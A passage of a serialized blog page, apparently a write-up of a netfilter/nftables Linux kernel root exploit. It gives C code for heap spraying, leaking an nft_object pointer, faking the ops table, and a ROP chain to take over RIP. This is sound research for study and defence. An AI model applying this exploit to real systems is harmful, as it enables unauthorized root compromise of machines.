",{"type":25,"tag":216,"props":59141,"children":59142},{"style":7369},[59143],{"type":31,"value":58458},{"type":25,"tag":216,"props":59145,"children":59146},{"style":6958},[59147],{"type":31,"value":7791},{"type":25,"tag":216,"props":59149,"children":59150},{"class":6916,"line":6999},[59151],{"type":25,"tag":216,"props":59152,"children":59153},{"emptyLinePlaceholder":16},[59154],{"type":31,"value":7636},{"type":25,"tag":216,"props":59156,"children":59157},{"class":6916,"line":7104},[59158],{"type":25,"tag":216,"props":59159,"children":59160},{"style":6921},[59161],{"type":31,"value":59162},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":25,"tag":216,"props":59164,"children":59165},{"class":6916,"line":7210},[59166,59171,59176,59180,59184],{"type":25,"tag":216,"props":59167,"children":59168},{"style":6930},[59169],{"type":31,"value":59170},"    char",{"type":25,"tag":216,"props":59172,"children":59173},{"style":6941},[59174],{"type":31,"value":59175}," spray_name",{"type":25,"tag":216,"props":59177,"children":59178},{"style":6958},[59179],{"type":31,"value":7695},{"type":25,"tag":216,"props":59181,"children":59182},{"style":6983},[59183],{"type":31,"value":44805},{"type":25,"tag":216,"props":59185,"children":59186},{"style":6958},[59187],{"type":31,"value":35530},{"type":25,"tag":216,"props":59189,"children":59190},{"class":6916,"line":7238},[59191,59195,59199,59203,59207,59211],{"type":25,"tag":216,"props":59192,"children":59193},{"style":6930},[59194],{"type":31,"value":59170},{"type":25,"tag":216,"props":59196,"children":59197},{"style":6947},[59198],{"type":31,"value":13767},{"type":25,"tag":216,"props":59200,"children":59201},{"style":6941},[59202],{"type":31,"value":59061},{"type":25,"tag":216,"props":59204,"children":59205},{"style":6958},[59206],{"type":31,"value":7695},{"type":25,"tag":216,"props":59208,"children":59209},{"style":6983},[59210],{"type":31,"value":21247},{"type":25,"tag":216,"props":59212,"children":59213},{"style":6958},[59214],{"type":31,"value":35530},{"type":25,"tag":216,"props":59216,"children":59217},{"class":6916,"line":7251},[59218,59222,59226,59230,59234,59238,59242,59246,59250,59254,59258,59262],{"type":25,"tag":216,"props":59219,"children":59220},{"style":6967},[59221],{"type":31,"value":6970},{"type":25,"tag":216,"props":59223,"children":59224},{"style":6958},[59225],{"type":31,"value":7010},{"type":25,"tag":216,"props":59227,"children":59228},{"style":6930},[59229],{"type":31,"value":23001},{"type":25,"tag":216,"props":59231,"children":59232},{"style":6958},[59233],{"type":31,"value":58506},{"type":25,"tag":216,"props":59235,"children":59236},{"style":6947},[59237],{"type":31,"value":266},{"type":25,"tag":216,"props":59239,"children":59240},{"style":6983},[59241],{"type":31,"value":6986},{"type":25,"tag":216,"props":59243,"children":59244},{"style":6958},[59245],{"type":31,"value":55196},{"type":25,"tag":216,"props":59247,"children":59248},{"style":6947},[59249],{"type":31,"value":9751},{"type":25,"tag":216,"props":59251,"children":59252},{"style":6983},[59253],{"type":31,"value":23053},{"type":25,"tag":216,"props":59255,"children":59256},{"style":6958},[59257],{"type":31,"value":55227},{"type":25,"tag":216,"props":59259,"children":59260},{"style":6947},[59261],{"type":31,"value":55232},{"type":25,"tag":216,"props":59263,"children":59264},{"style":6958},[59265],{"type":31,"value":7101},{"type":25,"tag":216,"props":59267,"children":59268},{"class":6916,"line":7269},[59269],{"type":25,"tag":216,"props":59270,"children":59271},{"style":6958},[59272],{"type":31,"value":33141},{"type":25,"tag":216,"props":59274,"children":59275},{"class":6916,"line":7290},[59276,59281,59286,59291,59296,59301],{"type":25,"tag":216,"props":59277,"children":59278},{"style":7041},[59279],{"type":31,"value":59280},"        snprintf",{"type":25,"tag":216,"props":59282,"children":59283},{"style":6958},[59284],{"type":31,"value":59285},"(spray_name, ",{"type":25,"tag":216,"props":59287,"children":59288},{"style":6930},[59289],{"type":31,"value":59290},"sizeof",{"type":25,"tag":216,"props":59292,"children":59293},{"style":6958},[59294],{"type":31,"value":59295},"(spray_name), ",{"type":25,"tag":216,"props":59297,"children":59298},{"style":8199},[59299],{"type":31,"value":59300},"\"spray-%i\"",{"type":25,"tag":216,"props":59302,"children":59303},{"style":6958},[59304],{"type":31,"value":59305},", i);\n",{"type":25,"tag":216,"props":59307,"children":59308},{"class":6916,"line":7299},[59309,59314,59318,59322,59327],{"type":25,"tag":216,"props":59310,"children":59311},{"style":6941},[59312],{"type":31,"value":59313},"        udata",{"type":25,"tag":216,"props":59315,"children":59316},{"style":6958},[59317],{"type":31,"value":58558},{"type":25,"tag":216,"props":59319,"children":59320},{"style":6947},[59321],{"type":31,"value":266},{"type":25,"tag":216,"props":59323,"children":59324},{"style":7041},[59325],{"type":31,"value":59326}," getudata",{"type":25,"tag":216,"props":59328,"children":59329},{"style":6958},[59330],{"type":31,"value":59331},"(nl, spray_name);\n",{"type":25,"tag":216,"props":59333,"children":59334},{"class":6916,"line":7551},[59335],{"type":25,"tag":216,"props":59336,"children":59337},{"style":6958},[59338],{"type":31,"value":7305},{"type":25,"tag":216,"props":59340,"children":59341},{"class":6916,"line":7568},[59342,59346,59350,59354,59358,59362,59366,59370,59374,59378,59383,59387,59391,59395,59399],{"type":25,"tag":216,"props":59343,"children":59344},{"style":6967},[59345],{"type":31,"value":16229},{"type":25,"tag":216,"props":59347,"children":59348},{"style":6958},[59349],{"type":31,"value":7010},{"type":25,"tag":216,"props":59351,"children":59352},{"style":6941},[59353],{"type":31,"value":59061},{"type":25,"tag":216,"props":59355,"children":59356},{"style":6958},[59357],{"type":31,"value":7695},{"type":25,"tag":216,"props":59359,"children":59360},{"style":6983},[59361],{"type":31,"value":1876},{"type":25,"tag":216,"props":59363,"children":59364},{"style":6958},[59365],{"type":31,"value":52921},{"type":25,"tag":216,"props":59367,"children":59368},{"style":6983},[59369],{"type":31,"value":1876},{"type":25,"tag":216,"props":59371,"children":59372},{"style":6958},[59373],{"type":31,"value":12608},{"type":25,"tag":216,"props":59375,"children":59376},{"style":6947},[59377],{"type":31,"value":12522},{"type":25,"tag":216,"props":59379,"children":59380},{"style":6941},[59381],{"type":31,"value":59382}," udata",{"type":25,"tag":216,"props":59384,"children":59385},{"style":6958},[59386],{"type":31,"value":7695},{"type":25,"tag":216,"props":59388,"children":59389},{"style":6983},[59390],{"type":31,"value":331},{"type":25,"tag":216,"props":59392,"children":59393},{"style":6958},[59394],{"type":31,"value":52921},{"type":25,"tag":216,"props":59396,"children":59397},{"style":6983},[59398],{"type":31,"value":1876},{"type":25,"tag":216,"props":59400,"children":59401},{"style":6958},[59402],{"type":31,"value":59403},"])\n",{"type":25,"tag":216,"props":59405,"children":59406},{"class":6916,"line":7585},[59407],{"type":25,"tag":216,"props":59408,"children":59409},{"style":6958},[59410],{"type":31,"value":33141},{"type":25,"tag":216,"props":59412,"children":59413},{"class":6916,"line":7598},[59414,59419,59423,59428],{"type":25,"tag":216,"props":59415,"children":59416},{"style":7041},[59417],{"type":31,"value":59418},"        puts",{"type":25,"tag":216,"props":59420,"children":59421},{"style":6958},[59422],{"type":31,"value":1844},{"type":25,"tag":216,"props":59424,"children":59425},{"style":8199},[59426],{"type":31,"value":59427},"\"[+] got duplicated table\"",{"type":25,"tag":216,"props":59429,"children":59430},{"style":6958},[59431],{"type":31,"value":7791},{"type":25,"tag":216,"props":59433,"children":59434},{"class":6916,"line":7607},[59435],{"type":25,"tag":216,"props":59436,"children":59437},{"style":6958},[59438],{"type":31,"value":7305},{"type":25,"tag":216,"props":59440,"children":59441},{"class":6916,"line":7630},[59442],{"type":25,"tag":216,"props":59443,"children":59444},{"emptyLinePlaceholder":16},[59445],{"type":31,"value":7636},{"type":25,"tag":216,"props":59447,"children":59448},{"class":6916,"line":7639},[59449],{"type":25,"tag":216,"props":59450,"children":59451},{"style":6921},[59452],{"type":31,"value":59453},"    // Replace one of the udata buffers with nft_object\n",{"type":25,"tag":216,"props":59455,"children":59456},{"class":6916,"line":7648},[59457],{"type":25,"tag":216,"props":59458,"children":59459},{"style":6921},[59460],{"type":31,"value":59461},"    // and read it's counterpart to leak the nft_object struct\n",{"type":25,"tag":216,"props":59463,"children":59464},{"class":6916,"line":7716},[59465,59470,59474,59479],{"type":25,"tag":216,"props":59466,"children":59467},{"style":7041},[59468],{"type":31,"value":59469},"    puts",{"type":25,"tag":216,"props":59471,"children":59472},{"style":6958},[59473],{"type":31,"value":1844},{"type":25,"tag":216,"props":59475,"children":59476},{"style":8199},[59477],{"type":31,"value":59478},"\"[*] Info leak\"",{"type":25,"tag":216,"props":59480,"children":59481},{"style":6958},[59482],{"type":31,"value":7791},{"type":25,"tag":216,"props":59484,"children":59485},{"class":6916,"line":7724},[59486,59491,59496,59500,59504,59508],{"type":25,"tag":216,"props":59487,"children":59488},{"style":7041},[59489],{"type":31,"value":59490},"    deludata_spray",{"type":25,"tag":216,"props":59492,"children":59493},{"style":6958},[59494],{"type":31,"value":59495},"(nl, ",{"type":25,"tag":216,"props":59497,"children":59498},{"style":6983},[59499],{"type":31,"value":1876},{"type":25,"tag":216,"props":59501,"children":59502},{"style":6958},[59503],{"type":31,"value":7020},{"type":25,"tag":216,"props":59505,"children":59506},{"style":6983},[59507],{"type":31,"value":184},{"type":25,"tag":216,"props":59509,"children":59510},{"style":6958},[59511],{"type":31,"value":7791},{"type":25,"tag":216,"props":59513,"children":59514},{"class":6916,"line":7754},[59515,59520],{"type":25,"tag":216,"props":59516,"children":59517},{"style":7041},[59518],{"type":31,"value":59519},"    wait_destroyer",{"type":25,"tag":216,"props":59521,"children":59522},{"style":6958},[59523],{"type":31,"value":7627},{"type":25,"tag":216,"props":59525,"children":59526},{"class":6916,"line":7762},[59527,59532,59536,59540,59544,59548,59552,59556,59560,59564],{"type":25,"tag":216,"props":59528,"children":59529},{"style":7041},[59530],{"type":31,"value":59531},"    obj_spray",{"type":25,"tag":216,"props":59533,"children":59534},{"style":6958},[59535],{"type":31,"value":59495},{"type":25,"tag":216,"props":59537,"children":59538},{"style":6983},[59539],{"type":31,"value":1876},{"type":25,"tag":216,"props":59541,"children":59542},{"style":6958},[59543],{"type":31,"value":7020},{"type":25,"tag":216,"props":59545,"children":59546},{"style":6983},[59547],{"type":31,"value":184},{"type":25,"tag":216,"props":59549,"children":59550},{"style":6958},[59551],{"type":31,"value":7020},{"type":25,"tag":216,"props":59553,"children":59554},{"style":6930},[59555],{"type":31,"value":58458},{"type":25,"tag":216,"props":59557,"children":59558},{"style":6958},[59559],{"type":31,"value":7020},{"type":25,"tag":216,"props":59561,"children":59562},{"style":6983},[59563],{"type":31,"value":1876},{"type":25,"tag":216,"props":59565,"children":59566},{"style":6958},[59567],{"type":31,"value":7791},{"type":25,"tag":216,"props":59569,"children":59570},{"class":6916,"line":7794},[59571,59576,59580,59585,59589,59593,59598,59602,59606,59611,59615,59620],{"type":25,"tag":216,"props":59572,"children":59573},{"style":6930},[59574],{"type":31,"value":59575},"    uint64_t",{"type":25,"tag":216,"props":59577,"children":59578},{"style":6947},[59579],{"type":31,"value":13767},{"type":25,"tag":216,"props":59581,"children":59582},{"style":6958},[59583],{"type":31,"value":59584},"fake_obj ",{"type":25,"tag":216,"props":59586,"children":59587},{"style":6947},[59588],{"type":31,"value":266},{"type":25,"tag":216,"props":59590,"children":59591},{"style":6958},[59592],{"type":31,"value":7010},{"type":25,"tag":216,"props":59594,"children":59595},{"style":6930},[59596],{"type":31,"value":59597},"uint64_t",{"type":25,"tag":216,"props":59599,"children":59600},{"style":6947},[59601],{"type":31,"value":13767},{"type":25,"tag":216,"props":59603,"children":59604},{"style":6958},[59605],{"type":31,"value":1882},{"type":25,"tag":216,"props":59607,"children":59608},{"style":7041},[59609],{"type":31,"value":59610},"getudata",{"type":25,"tag":216,"props":59612,"children":59613},{"style":6958},[59614],{"type":31,"value":59495},{"type":25,"tag":216,"props":59616,"children":59617},{"style":8199},[59618],{"type":31,"value":59619},"\"spray-2\"",{"type":25,"tag":216,"props":59621,"children":59622},{"style":6958},[59623],{"type":31,"value":7791},{"type":25,"tag":216,"props":59625,"children":59626},{"class":6916,"line":7802},[59627],{"type":25,"tag":216,"props":59628,"children":59629},{"style":6958},[59630],{"type":31,"value":14269},{"type":25,"tag":607,"props":59632,"children":59634},{"id":59633},"leaking-self-pointer-of-nft_object",[59635,59637],{"type":31,"value":59636},"Leaking self pointer of ",{"type":25,"tag":82,"props":59638,"children":59640},{"className":59639},[],[59641],{"type":31,"value":59076},{"type":25,"tag":38,"props":59643,"children":59644},{},[59645,59647,59652,59654,59659,59661,59666,59668,59674],{"type":31,"value":59646},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":25,"tag":82,"props":59648,"children":59650},{"className":59649},[],[59651],{"type":31,"value":59076},{"type":31,"value":59653}," to get its own address. This is possible because the ",{"type":25,"tag":82,"props":59655,"children":59657},{"className":59656},[],[59658],{"type":31,"value":59076},{"type":31,"value":59660}," has a ",{"type":25,"tag":82,"props":59662,"children":59664},{"className":59663},[],[59665],{"type":31,"value":59061},{"type":31,"value":59667}," pointer (similar to ",{"type":25,"tag":82,"props":59669,"children":59671},{"className":59670},[],[59672],{"type":31,"value":59673},"table->udata",{"type":31,"value":59675}," that I used for leaking KASLR), that I can use to read/write data.",{"type":25,"tag":38,"props":59677,"children":59678},{},[59679,59680,59685,59687,59693,59695,59700,59702,59708,59710,59716,59718,59723,59725,59730,59732,59737,59739],{"type":31,"value":474},{"type":25,"tag":82,"props":59681,"children":59683},{"className":59682},[],[59684],{"type":31,"value":59076},{"type":31,"value":59686}," struct also contains a ",{"type":25,"tag":82,"props":59688,"children":59690},{"className":59689},[],[59691],{"type":31,"value":59692},"list_head",{"type":31,"value":59694}," inserted in a circular list containing all ",{"type":25,"tag":82,"props":59696,"children":59698},{"className":59697},[],[59699],{"type":31,"value":59076},{"type":31,"value":59701},"'s that belong to a given ",{"type":25,"tag":82,"props":59703,"children":59705},{"className":59704},[],[59706],{"type":31,"value":59707},"table",{"type":31,"value":59709},". Considering that our object is currently alone in its table, the ",{"type":25,"tag":82,"props":59711,"children":59713},{"className":59712},[],[59714],{"type":31,"value":59715},"table->list.next",{"type":31,"value":59717}," pointer in the ",{"type":25,"tag":82,"props":59719,"children":59721},{"className":59720},[],[59722],{"type":31,"value":59076},{"type":31,"value":59724}," will point back to the ",{"type":25,"tag":82,"props":59726,"children":59728},{"className":59727},[],[59729],{"type":31,"value":59692},{"type":31,"value":59731}," contained in the ",{"type":25,"tag":82,"props":59733,"children":59735},{"className":59734},[],[59736],{"type":31,"value":59707},{"type":31,"value":59738}," and vice-versa.\n",{"type":25,"tag":6461,"props":59740,"children":59742},{"alt":54541,"src":59741},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":25,"tag":38,"props":59744,"children":59745},{},[59746,59748,59753,59755,59760,59762,59768,59770,59775,59776,59781,59783,59788,59790,59795],{"type":31,"value":59747},"In short, that means that if we swap the ",{"type":25,"tag":82,"props":59749,"children":59751},{"className":59750},[],[59752],{"type":31,"value":59061},{"type":31,"value":59754}," pointer of the ",{"type":25,"tag":82,"props":59756,"children":59758},{"className":59757},[],[59759],{"type":31,"value":59076},{"type":31,"value":59761}," with its own ",{"type":25,"tag":82,"props":59763,"children":59765},{"className":59764},[],[59766],{"type":31,"value":59767},"list.next",{"type":31,"value":59769}," pointer we should be able to read a pointer back to the ",{"type":25,"tag":82,"props":59771,"children":59773},{"className":59772},[],[59774],{"type":31,"value":59076},{"type":31,"value":56301},{"type":25,"tag":82,"props":59777,"children":59779},{"className":59778},[],[59780],{"type":31,"value":59692},{"type":31,"value":59782}," which is also the start of the ",{"type":25,"tag":82,"props":59784,"children":59786},{"className":59785},[],[59787],{"type":31,"value":59076},{"type":31,"value":59789}," itself.\n",{"type":25,"tag":9267,"props":59791,"children":59792},{},[59793],{"type":31,"value":59794},"NOTE:",{"type":31,"value":59796}," This is a novel small trick.",{"type":25,"tag":206,"props":59798,"children":59800},{"className":33064,"code":59799,"language":33066,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[59801],{"type":25,"tag":82,"props":59802,"children":59803},{"__ignoreMap":7},[59804,59811,59819,59832,59880,59907,59918,59956,59963,59992,60022],{"type":25,"tag":216,"props":59805,"children":59806},{"class":6916,"line":6917},[59807],{"type":25,"tag":216,"props":59808,"children":59809},{"style":6958},[59810],{"type":31,"value":14269},{"type":25,"tag":216,"props":59812,"children":59813},{"class":6916,"line":6763},[59814],{"type":25,"tag":216,"props":59815,"children":59816},{"style":6958},[59817],{"type":31,"value":59818},"    // Leak nft_object ptr using table linked list\n",{"type":25,"tag":216,"props":59820,"children":59821},{"class":6916,"line":6772},[59822,59827],{"type":25,"tag":216,"props":59823,"children":59824},{"style":6958},[59825],{"type":31,"value":59826},"    fake_obj[8] = 8;",{"type":25,"tag":216,"props":59828,"children":59829},{"style":6921},[59830],{"type":31,"value":59831},"           // ulen = 8\n",{"type":25,"tag":216,"props":59833,"children":59834},{"class":6916,"line":6999},[59835,59840,59844,59849,59853,59857,59862,59866,59870,59875],{"type":25,"tag":216,"props":59836,"children":59837},{"style":6941},[59838],{"type":31,"value":59839},"    fake_obj",{"type":25,"tag":216,"props":59841,"children":59842},{"style":6958},[59843],{"type":31,"value":7695},{"type":25,"tag":216,"props":59845,"children":59846},{"style":6983},[59847],{"type":31,"value":59848},"9",{"type":25,"tag":216,"props":59850,"children":59851},{"style":6958},[59852],{"type":31,"value":12608},{"type":25,"tag":216,"props":59854,"children":59855},{"style":6947},[59856],{"type":31,"value":266},{"type":25,"tag":216,"props":59858,"children":59859},{"style":6941},[59860],{"type":31,"value":59861}," fake_obj",{"type":25,"tag":216,"props":59863,"children":59864},{"style":6958},[59865],{"type":31,"value":7695},{"type":25,"tag":216,"props":59867,"children":59868},{"style":6983},[59869],{"type":31,"value":1876},{"type":25,"tag":216,"props":59871,"children":59872},{"style":6958},[59873],{"type":31,"value":59874},"];",{"type":25,"tag":216,"props":59876,"children":59877},{"style":6921},[59878],{"type":31,"value":59879}," // udata = list->next\n",{"type":25,"tag":216,"props":59881,"children":59882},{"class":6916,"line":7104},[59883,59887,59891,59895,59899,59903],{"type":25,"tag":216,"props":59884,"children":59885},{"style":7041},[59886],{"type":31,"value":59490},{"type":25,"tag":216,"props":59888,"children":59889},{"style":6958},[59890],{"type":31,"value":59495},{"type":25,"tag":216,"props":59892,"children":59893},{"style":6983},[59894],{"type":31,"value":331},{"type":25,"tag":216,"props":59896,"children":59897},{"style":6958},[59898],{"type":31,"value":7020},{"type":25,"tag":216,"props":59900,"children":59901},{"style":6983},[59902],{"type":31,"value":184},{"type":25,"tag":216,"props":59904,"children":59905},{"style":6958},[59906],{"type":31,"value":7791},{"type":25,"tag":216,"props":59908,"children":59909},{"class":6916,"line":7210},[59910,59914],{"type":25,"tag":216,"props":59911,"children":59912},{"style":7041},[59913],{"type":31,"value":59519},{"type":25,"tag":216,"props":59915,"children":59916},{"style":6958},[59917],{"type":31,"value":7627},{"type":25,"tag":216,"props":59919,"children":59920},{"class":6916,"line":7238},[59921,59926,59930,59935,59939,59943,59947,59951],{"type":25,"tag":216,"props":59922,"children":59923},{"style":7041},[59924],{"type":31,"value":59925},"    udata_spray",{"type":25,"tag":216,"props":59927,"children":59928},{"style":6958},[59929],{"type":31,"value":59495},{"type":25,"tag":216,"props":59931,"children":59932},{"style":6983},[59933],{"type":31,"value":59934},"0xe8",{"type":25,"tag":216,"props":59936,"children":59937},{"style":6958},[59938],{"type":31,"value":7020},{"type":25,"tag":216,"props":59940,"children":59941},{"style":6983},[59942],{"type":31,"value":21247},{"type":25,"tag":216,"props":59944,"children":59945},{"style":6958},[59946],{"type":31,"value":7020},{"type":25,"tag":216,"props":59948,"children":59949},{"style":6983},[59950],{"type":31,"value":184},{"type":25,"tag":216,"props":59952,"children":59953},{"style":6958},[59954],{"type":31,"value":59955},", fake_obj);\n",{"type":25,"tag":216,"props":59957,"children":59958},{"class":6916,"line":7251},[59959],{"type":25,"tag":216,"props":59960,"children":59961},{"emptyLinePlaceholder":16},[59962],{"type":31,"value":7636},{"type":25,"tag":216,"props":59964,"children":59965},{"class":6916,"line":7269},[59966,59971,59975,59980,59984,59988],{"type":25,"tag":216,"props":59967,"children":59968},{"style":7041},[59969],{"type":31,"value":59970},"    get_obj",{"type":25,"tag":216,"props":59972,"children":59973},{"style":6958},[59974],{"type":31,"value":59495},{"type":25,"tag":216,"props":59976,"children":59977},{"style":8199},[59978],{"type":31,"value":59979},"\"spray-0\"",{"type":25,"tag":216,"props":59981,"children":59982},{"style":6958},[59983],{"type":31,"value":7020},{"type":25,"tag":216,"props":59985,"children":59986},{"style":6930},[59987],{"type":31,"value":230},{"type":25,"tag":216,"props":59989,"children":59990},{"style":6958},[59991],{"type":31,"value":7791},{"type":25,"tag":216,"props":59993,"children":59994},{"class":6916,"line":7290},[59995,60000,60004,60009,60013,60017],{"type":25,"tag":216,"props":59996,"children":59997},{"style":7041},[59998],{"type":31,"value":59999},"    printf",{"type":25,"tag":216,"props":60001,"children":60002},{"style":6958},[60003],{"type":31,"value":1844},{"type":25,"tag":216,"props":60005,"children":60006},{"style":8199},[60007],{"type":31,"value":60008},"\"[*] nft_object ptr: 0x%lx",{"type":25,"tag":216,"props":60010,"children":60011},{"style":52336},[60012],{"type":31,"value":52339},{"type":25,"tag":216,"props":60014,"children":60015},{"style":8199},[60016],{"type":31,"value":24014},{"type":25,"tag":216,"props":60018,"children":60019},{"style":6958},[60020],{"type":31,"value":60021},", obj_ptr);\n",{"type":25,"tag":216,"props":60023,"children":60024},{"class":6916,"line":7299},[60025],{"type":25,"tag":216,"props":60026,"children":60027},{"style":6958},[60028],{"type":31,"value":14269},{"type":25,"tag":607,"props":60030,"children":60032},{"id":60031},"hijacking-control-flow",[60033],{"type":31,"value":60034},"Hijacking control-flow",{"type":25,"tag":38,"props":60036,"children":60037},{},[60038,60040,60045,60047,60052,60054,60059,60061,60066,60068,60073,60075],{"type":31,"value":60039},"To hijack control-flow, we can use ",{"type":25,"tag":82,"props":60041,"children":60043},{"className":60042},[],[60044],{"type":31,"value":59076},{"type":31,"value":60046}," once again. The ",{"type":25,"tag":82,"props":60048,"children":60050},{"className":60049},[],[60051],{"type":31,"value":59076},{"type":31,"value":60053}," struct has an ",{"type":25,"tag":82,"props":60055,"children":60057},{"className":60056},[],[60058],{"type":31,"value":56632},{"type":31,"value":60060}," pointer to a function pointer table. We can swap the ",{"type":25,"tag":82,"props":60062,"children":60064},{"className":60063},[],[60065],{"type":31,"value":56632},{"type":31,"value":60067}," pointer with the ",{"type":25,"tag":82,"props":60069,"children":60071},{"className":60070},[],[60072],{"type":31,"value":59061},{"type":31,"value":60074}," pointer, taking control of the pointer table.\n",{"type":25,"tag":6461,"props":60076,"children":60078},{"alt":54541,"src":60077},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":25,"tag":206,"props":60080,"children":60082},{"className":33064,"code":60081,"language":33066,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[60083],{"type":25,"tag":82,"props":60084,"children":60085},{"__ignoreMap":7},[60086,60093,60101,60125,60172,60208,60215,60223,60255,60263,60271,60292,60300,60308,60371,60378,60386,60394,60401,60409,60443,60451,60458,60466,60473,60481,60514,60535],{"type":25,"tag":216,"props":60087,"children":60088},{"class":6916,"line":6917},[60089],{"type":25,"tag":216,"props":60090,"children":60091},{"style":6958},[60092],{"type":31,"value":14269},{"type":25,"tag":216,"props":60094,"children":60095},{"class":6916,"line":6763},[60096],{"type":25,"tag":216,"props":60097,"children":60098},{"style":6958},[60099],{"type":31,"value":60100},"    // Fake ops\n",{"type":25,"tag":216,"props":60102,"children":60103},{"class":6916,"line":6772},[60104,60109,60113,60117,60121],{"type":25,"tag":216,"props":60105,"children":60106},{"style":6958},[60107],{"type":31,"value":60108},"    uint64_t *rop = calloc(29, ",{"type":25,"tag":216,"props":60110,"children":60111},{"style":7369},[60112],{"type":31,"value":59290},{"type":25,"tag":216,"props":60114,"children":60115},{"style":6958},[60116],{"type":31,"value":1844},{"type":25,"tag":216,"props":60118,"children":60119},{"style":6930},[60120],{"type":31,"value":59597},{"type":25,"tag":216,"props":60122,"children":60123},{"style":6958},[60124],{"type":31,"value":11169},{"type":25,"tag":216,"props":60126,"children":60127},{"class":6916,"line":6999},[60128,60133,60137,60141,60145,60149,60154,60158,60163,60167],{"type":25,"tag":216,"props":60129,"children":60130},{"style":6941},[60131],{"type":31,"value":60132},"    rop",{"type":25,"tag":216,"props":60134,"children":60135},{"style":6958},[60136],{"type":31,"value":7695},{"type":25,"tag":216,"props":60138,"children":60139},{"style":6983},[60140],{"type":31,"value":1876},{"type":25,"tag":216,"props":60142,"children":60143},{"style":6958},[60144],{"type":31,"value":12608},{"type":25,"tag":216,"props":60146,"children":60147},{"style":6947},[60148],{"type":31,"value":266},{"type":25,"tag":216,"props":60150,"children":60151},{"style":6958},[60152],{"type":31,"value":60153}," kaslr_slide ",{"type":25,"tag":216,"props":60155,"children":60156},{"style":6947},[60157],{"type":31,"value":3533},{"type":25,"tag":216,"props":60159,"children":60160},{"style":6983},[60161],{"type":31,"value":60162}," 0xffffffff81988647",{"type":25,"tag":216,"props":60164,"children":60165},{"style":6958},[60166],{"type":31,"value":53037},{"type":25,"tag":216,"props":60168,"children":60169},{"style":6921},[60170],{"type":31,"value":60171}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":25,"tag":216,"props":60173,"children":60174},{"class":6916,"line":7104},[60175,60179,60183,60187,60191,60195,60199,60203],{"type":25,"tag":216,"props":60176,"children":60177},{"style":6941},[60178],{"type":31,"value":60132},{"type":25,"tag":216,"props":60180,"children":60181},{"style":6958},[60182],{"type":31,"value":7695},{"type":25,"tag":216,"props":60184,"children":60185},{"style":6983},[60186],{"type":31,"value":331},{"type":25,"tag":216,"props":60188,"children":60189},{"style":6958},[60190],{"type":31,"value":12608},{"type":25,"tag":216,"props":60192,"children":60193},{"style":6947},[60194],{"type":31,"value":266},{"type":25,"tag":216,"props":60196,"children":60197},{"style":6958},[60198],{"type":31,"value":60153},{"type":25,"tag":216,"props":60200,"children":60201},{"style":6947},[60202],{"type":31,"value":3533},{"type":25,"tag":216,"props":60204,"children":60205},{"style":6958},[60206],{"type":31,"value":60207}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":25,"tag":216,"props":60209,"children":60210},{"class":6916,"line":7210},[60211],{"type":25,"tag":216,"props":60212,"children":60213},{"style":6958},[60214],{"type":31,"value":14269},{"type":25,"tag":216,"props":60216,"children":60217},{"class":6916,"line":7238},[60218],{"type":25,"tag":216,"props":60219,"children":60220},{"style":6958},[60221],{"type":31,"value":60222},"    // Send ROP in object udata\n",{"type":25,"tag":216,"props":60224,"children":60225},{"class":6916,"line":7251},[60226,60231,60235,60240,60245,60250],{"type":25,"tag":216,"props":60227,"children":60228},{"style":6958},[60229],{"type":31,"value":60230},"    del_obj(",{"type":25,"tag":216,"props":60232,"children":60233},{"style":7369},[60234],{"type":31,"value":58252},{"type":25,"tag":216,"props":60236,"children":60237},{"style":6958},[60238],{"type":31,"value":60239},", \"",{"type":25,"tag":216,"props":60241,"children":60242},{"style":7369},[60243],{"type":31,"value":60244},"spray",{"type":25,"tag":216,"props":60246,"children":60247},{"style":6958},[60248],{"type":31,"value":60249},"-0",{"type":25,"tag":216,"props":60251,"children":60252},{"style":8199},[60253],{"type":31,"value":60254},"\");\n",{"type":25,"tag":216,"props":60256,"children":60257},{"class":6916,"line":7269},[60258],{"type":25,"tag":216,"props":60259,"children":60260},{"style":8199},[60261],{"type":31,"value":60262},"    wait_destroyer();\n",{"type":25,"tag":216,"props":60264,"children":60265},{"class":6916,"line":7290},[60266],{"type":25,"tag":216,"props":60267,"children":60268},{"style":8199},[60269],{"type":31,"value":60270},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":25,"tag":216,"props":60272,"children":60273},{"class":6916,"line":7299},[60274,60279,60283,60288],{"type":25,"tag":216,"props":60275,"children":60276},{"style":8199},[60277],{"type":31,"value":60278},"    fake_obj = (uint64_t *)getudata(nl, 